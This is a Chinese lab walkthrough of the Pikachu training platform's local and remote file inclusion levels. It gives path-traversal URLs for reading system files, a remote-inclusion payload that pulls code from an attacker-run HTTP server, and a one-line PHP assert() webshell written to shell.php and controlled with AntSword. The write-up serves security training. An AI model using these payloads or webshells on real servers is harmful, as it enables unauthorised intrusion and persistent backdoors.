pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

目录

一、来自官方的简介

二、来自小可爱的通关步骤

第一关  File Inclusion(local)

1、读取“隐藏”文件

2、读取系统文件

3、结合文件上传getshell

第二关  File Inclusion(remote)

1、直接包含木马

2、包含写木马的文件


先安利一下自己之前写过的DVWA通关--文件包含(File Inclusion)

在DVWA通关中写过的一些注意点可能在本篇中就不会再赘述了,所以如果不是针对pikachu的文件包含漏洞通关,可以再看一下这篇DVWA的文件包含漏洞通关,写的比本篇pikachu的更全更细更费心。

一、来自官方的简介

pikachu中文件包含漏洞的概述如下

那么在下文中,File Inclusion(local)关卡会尝试读取系统敏感信息,并结合文件上传漏洞包含图片马,获取webshell;File Inclusion(remote)关卡会尝试直接包含木马,以及包含写入木马的文件。

在开始之前必须知道的一点是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。

二、来自小可爱的通关步骤

第一关  File Inclusion(local)

-------的地方是个下拉框,可以选NBA球星,比如选了Allen Iverson之后,页面是下图这样,url是http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4

可见其中包含了一个文件file2.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞呢。(~ ̄▽ ̄)~

1、读取“隐藏”文件

首先,由于观察到上图的filename是file2.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。

把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。

那有没有可能这套文件里面就有废弃或者隐藏的文件咧?

把burpsuite请出来爆破一下:

把下图这个请求报文send to intruder

然后像下面这样设置一下:

爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破

把爆破结果按照长度排个序,发现有如下四种长度,分别取代表file6.php、file7.php、file10.php、file100.php

盲猜应该file6.php有点东西。把上面4个文件名在浏览器地址栏试一下:

file6.php果然是个包含用户名和密码的隐藏文件

file7.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。

file10.php和file100.php都是一样的报错信息,就不贴图了。

2、读取系统文件

从上面的报错信息还可以发现系统是windows系统,并且网站根目录是C:\phpstudy_pro\WWW

windows系统肯定有的文件是C:\Windows\win.ini,用这个来尝试有没有文件包含漏洞。

上一部分已经分析过,上图报错信息泄露出include()函数包含的文件是与fi_local.php同文件夹下include文件夹中的文件,由于路径参数中有个固定的include/,因此就不能用绝对路径了。

结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为../../../../../../windows/win.ini,代入url中组成payload:

http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4

成功读取到C:\Windows\win.ini文件的内容:

3、结合文件上传getshell

pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)的”三、getimagesize“关卡,上传了图片马,该图片马被重命名为609886601eb870c1b37703602838.jpeg,其内容包含下图所示的一句话木马。

上传图片马之后网页有回显文件保存位置的相对路径,与本关文件包含的路径对比可得相对路径,完整payload为:http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/02/06/609886601eb870c1b37703602838.jpeg&submit=%E6%8F%90%E4%BA%A4

用蚁剑连接:

连接成功:

第二关  File Inclusion(remote)

先勘察一下情况:

首先这关要在php.ini中打开allow_url_include,不然会像下图这样报错。

这关的下拉框和local那关还是一样的,随便选一个,观察一下url有什么不同?

url中把include()函数的完整参数给出来了。

所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径呢:

1、直接包含木马

攻击PC上起一下http服务:

1、cmd命令行cd命令进入木马所在文件夹

2、起http服务:python3 -m http.server 8080 

 

这样就把攻击PC上的http服务起起来了,接下来就可以通过文件包含漏洞从服务器请求攻击PC上的文件了。

用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/sh.txt&submit=%E6%8F%90%E4%BA%A4  包含文件sh.txt

该文件内容如下:

在浏览器里面试一下(虽然利用这个文件不是在浏览器里面利用,但反正就是演示一下请求文件成功了):

浏览器回显的warning是因为sh.txt中的一句话木马用的是assert()函数

攻击PC上cmd命令行可以看到sh.txt文件请求成功

上蚁剑:

url地址就是上面说的payload

连接成功

2、包含写木马的文件

首先同样要在攻击PC上起http服务,方法参见上一节。

接着用payload:http://192.168.101.16/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.101.14:8080/fin.txt&submit=%E6%8F%90%E4%BA%A4  包含文件fin.txt

该文件内容如下,其作用是在fi_remote.php文件的同级目录下新建一个文件shell.php,并将一句话木马<?php assert($_POST[fin]);?>写入shell.php。

浏览器地址栏输入payload之后,返回的就是正常显示的页面,因为fin.txt中是php代码,被当作php代码解析,并不会显示出来。

但实际上从攻击PC的cmd窗口可见,服务器请求fin.txt。由于确定有文件包含漏洞,此时fin.txt应该被成功解析,在服务器上创建了一句话木马文件shell.php。

上蚁剑:

由于一句话木马是与fi_remote.php文件同级目录的shell.php,所以蚁剑上的url地址应该是:http://192.168.101.16/pikachu/vul/fileinclude/shell.php

连接成功

pikachu的文件包含漏洞设置的挺简单的,要看复杂些的可以看看dvwa的,我在本文开头安利了之前写过的dvwa的文件包含通关。

另外,需要注意的一点是,如果攻击PC上可以解析php代码,那远程文件包含的时候,就不能包含php文件,而是要包含其他后缀的文件;但如果攻击PC不能解析php,就比如像上面演示的这样,用python3 -m http.server(或者python2 -m SimpleHTTPServer )起http服务,攻击PC就不会解析php,也就可以远程包含php文件。

如有疑问欢迎留言讨论,如有错误欢迎指正

猜你喜欢

转载自blog.csdn.net/elephantxiang/article/details/113793663